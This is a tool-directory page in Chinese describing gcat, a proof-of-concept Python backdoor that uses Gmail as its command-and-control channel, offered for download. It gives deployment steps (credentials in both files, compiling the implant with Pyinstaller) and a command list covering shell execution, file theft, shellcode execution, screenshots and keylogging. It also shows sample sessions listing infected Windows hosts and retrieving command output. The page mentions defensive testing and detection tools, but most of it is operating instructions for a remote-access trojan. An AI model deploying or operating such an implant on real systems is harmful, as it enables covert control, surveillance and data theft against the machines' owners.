Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gcat — 一个使用Gmail作为C&C服务器的PoC后门 | Kitploit
工具/GitHubGitHub/byt3bl33d3r/gcat
漏洞利用后渗透利用渗透测试命令与控制红队Payload 开发远程访问木马Archived
GitHubbyt3bl33d3r/gcat

gcat

一个使用Gmail作为C&C服务器的PoC后门

查看仓库
1.4k4167年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Gcat

一个基于 Python 的隐蔽后门,使用 Gmail 作为命令与控制服务器

本项目灵感来源于 Benjamin Donnelly 的原始 PoC 代码

这是 PoC 代码...

... 发布该代码是为了让组织测试其对这类攻击的防御能力。要检测此类攻击,请参阅 RITA 等项目。

有关此项目的最新维护版本,请参见 GDog

设置

要让此工具工作,你需要:

  • 一个 Gmail 账户(请使用专用账户!不要使用你的个人账户!)
  • 在账户安全设置中打开“允许不够安全的应用”
  • 可能还需要在账户设置中启用 IMAP

本仓库包含两个文件:

  • gcat.py 用于枚举可用客户端并向其发送命令的脚本
  • implant.py 实际部署的后门

在两个文件中,编辑 gmail_user 和 gmail_pwd 变量,填入你之前设置的账户用户名和密码。

你可能希望使用 Pyinstaller 将 implant.py 编译成可执行文件

注意:建议使用 32 位 Python 安装编译 implant.py

用法

root@kitploit:~
                                             dP   
                                             88   
                .d8888b. .d8888b. .d8888b. d8888P 
                88'  `88 88'  `"" 88'  `88   88   
                88.  .88 88.  ... 88.  .88   88   
                `8888P88 `88888P' `88888P8   dP   
                     .88                          
                 d8888P  
                     

                   .__....._             _.....__,
                     .": o :':         ;': o :".
                     `. `-' .'.       .'. `-' .'   
                       `---'             `---'  

             _...----...      ...   ...      ...----..._
          .-'__..-''----    `.  `"`  .'    ----'''-..__`-.
         '.-'   _.--'''       `-._.-'       ''''--._   `-.`
         '  .-"'                  :                  `"-.  `
           '   `.              _.'"'._              .'   `
                 `.       ,.-'"       "'-.,       .'
                   `.                           .'
              jgs    `-._                   _.-'
                         `"'--...___...--'"`

                     ...IM IN YUR COMPUTERZ...

                        WATCHIN YUR SCREENZ

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -upload SRC DST       Upload a file to the clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Meow!

  • 一旦你在多台系统上部署了后门,可以使用 list 命令检查可用客户端:
root@kitploit:~
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

输出是一个 UUID 字符串,唯一标识系统及植入体运行的操作系统

  • 让我们向一个植入体发出命令:
root@kitploit:~
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

这里我们告诉 90b2cd83-cb36-52de-84ee-99db6ff41a11 执行 ipconfig /all,脚本随后输出 jobid,我们可以用它来检索该命令的输出

  • 让我们获取结果!
root@kitploit:~
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

-- SNIP --
  • 以上就是基本用法!但从脚本的用法可以看出,你可以做更多事情! ;)

待办事项

  • 多平台支持
  • 上传文件的命令
  • 传输加密与混淆
下载工具